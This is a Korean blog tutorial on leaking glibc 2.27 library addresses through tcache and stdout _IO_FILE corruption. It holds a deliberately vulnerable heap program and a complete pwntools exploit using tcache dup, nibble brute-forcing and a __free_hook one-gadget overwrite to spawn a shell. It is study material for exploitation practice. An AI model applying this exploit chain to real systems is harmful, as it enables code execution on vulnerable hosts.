tcache에서 라이브러리 영역 주소를 릭하는 방법은 다음과 같다.
1. 7개의 tcache_entry 를 꽉 채워 tcache를 사용하지 않도록 한 후 unsorted bin을 만든다. (fast bin에 들어가지 않을 크기여야한다.)
// gcc -o leak1 leak1.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
uint64_t *ptr[10];
int i;
for(i=0;i<9;i++) {
ptr[i] = malloc(0x100);
}
for(i=0;i<7;i++) {
free(ptr[i]);
}
free(ptr[7]);
printf("fd: %lp\n", *ptr[7]);
return 0;
}
2. tcache에서 허용하지 않는 크기를 할당한 이후 해제해 unsorted bin 을 만든다.
// gcc -o leak2 leak2.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
uint64_t *ptr[2];
ptr[0] = malloc(0x409);
ptr[1] = malloc(0x20);
free(ptr[0]);
printf("fd: %lp\n", *ptr[0]);
return 0;
}
3. _IO_FILE Arbitrary Read와 tcache dup을 사용한다.
우리가 여기서 볼 것은 3번 이다.
tcache dup와 _IO_FILE을 응용하여 printf, puts, write와 같은 함수가 없어도 라이브러리 주소를 릭하는 방법이다.
우선 tcache dup 기법을 사용해 stdout에 chunk를 할당하여 임의의 주소 읽기가 된다.
익스플로잇 순서
- 먼저 tcache에서 허용하지 않는 크기를 할당하고 해제하면 FD와 BK위치에 main_arena 영역의 주소가 쓰이게 된다. main_arena와 stdout을 4니블 차이가 나는데 하위 3니블은 offset으로 고정되어서 1니블 브루트포싱을 통해 stdout을 가리키게 할 수 있다.
- stdout에 힙이 할당되고 데이터를 작성할 수 있다면 IOSYSWRITE함수를 호출해 원하는 영역의 주소를 출력할 수 있다.
예제
// gcc -o stdout_leak stdout_leak.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *ptr[20];
int heap_idx = 0;
int add() {
int size = 0;
if(heap_idx >= 20 ) {
exit(0);
}
printf("Size: ");
scanf("%d", &size);
ptr[heap_idx] = malloc(size);
if(!ptr[heap_idx]) {
exit(0);
}
printf("Data: ");
read(0, ptr[heap_idx], size);
heap_idx++;
}
int del() {
int idx;
printf("idx: ");
scanf("%d", &idx);
if(idx >= 20 ) {
exit(0);
}
free(ptr[idx]);
}
int main()
{
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while(1) {
printf("1. Add\n");
printf("2. Delete\n");
printf("> ");
scanf("%d", &idx);
switch(idx) {
case 1:
add();
break;
case 2:
del();
break;
default:
break;
}
}
}
아래 익스코드에서 쓰인 tcache dup 는 2.27에서 불가능하니 그냥 보기만 하자.
익스플로잇 순서:
- 우선 0x30, 0x40을 요청하고 tcache에 허용되지 않는 크기인 0x410과 병합방지 0x20을 요청한다.
- 0x410크기의 chunk를 해제하여 unsorted bin 에 넣고 0x30, 0x40 은 tcache dup를 한다.
- 0x30의 fd를 0x410 청크의 주소를 가리키게 한다.
- 0x40의 fd를 0x410 청크의 주소를 가리키게 한다.
- 이제 0x30을 두번 할당하면 0x410이 할당되고 fd를 1니블 브루트포싱을 통해 stdout을 가리키게 한다.
- 0x40을 세번 할당하면 stdout 에 chunk가 할당된다.
- 마지막으로 flags를 0xfbad38c0 으로 조작하고 _IO_write_base 포인터를 덮어쓰되 하위 1바이트만 수정하여 stderr 구조체가 가진 값을 출력하게 한다.
- 라이브러리 릭이 된다.
본 기법은 브루트포싱이 있어서 항상 성공하지는 않는 기법이다.
# stdout_leak.py
from pwn import *
p = process("./stdout_leak")
def add(size,data):
print p.sendlineafter(">","1")
print p.sendlineafter(":",str(size))
print p.sendafter(":",str(data))
def free(idx):
print p.sendlineafter(">","2")
print p.sendlineafter(":",str(idx))
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
stdout = libc.symbols['_IO_2_1_stdout_']
print hex(stdout)
add(0x30, "A") # 0
add(0x40, "B") # 1
add(0x410,"A") # 2
add(0x10,"A") # 3
# unsorted bin
free(2)
# tcache dup 0x50 bin
free(1)
free(1)
#tcache dup 0x40 bin
free(0)
free(0)
# # # pointing unsorted bin
add(0x30, "\xf0") # 4
add(0x30, "A") # 5
# # bruteforce stdout
add(0x30, "\x60\x17") # 6
add(0x40, "\xf0") # 7
add(0x40, "A") # 8
add(0x40, "A") #9
add(0x40, p64(0xfbad38c0) + p64(0)*3 + "\x20") # leak # 10
p.recv(1)
libc_leak = u64(p.recv(6).ljust(8,"\x00"))
libc_base = libc_leak - 0x3eb780
free_hook = libc_base + libc.symbols['__free_hook']
oneshot = libc_base + 0x4f322
print hex(libc_leak)
print hex(libc_base)
# free_hook overwrite using tcache dup
add(0x70,"A") # 11
free(11)
free(11)
add(0x70, p64(free_hook))
add(0x70, "A")
add(0x70, p64(oneshot))
# get shell
free(0)
p.interactive()
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'포너블 > Heap' 카테고리의 다른 글
heap exploit 공부하기 좋은 곳 (1) | 2024.12.10 |
---|---|
Tcache House of Spirit (0) | 2024.12.10 |
breaking calloc (0) | 2024.10.12 |
__malloc_hook overwrite (0) | 2024.04.29 |
Heap Feng Shui (0) | 2024.04.29 |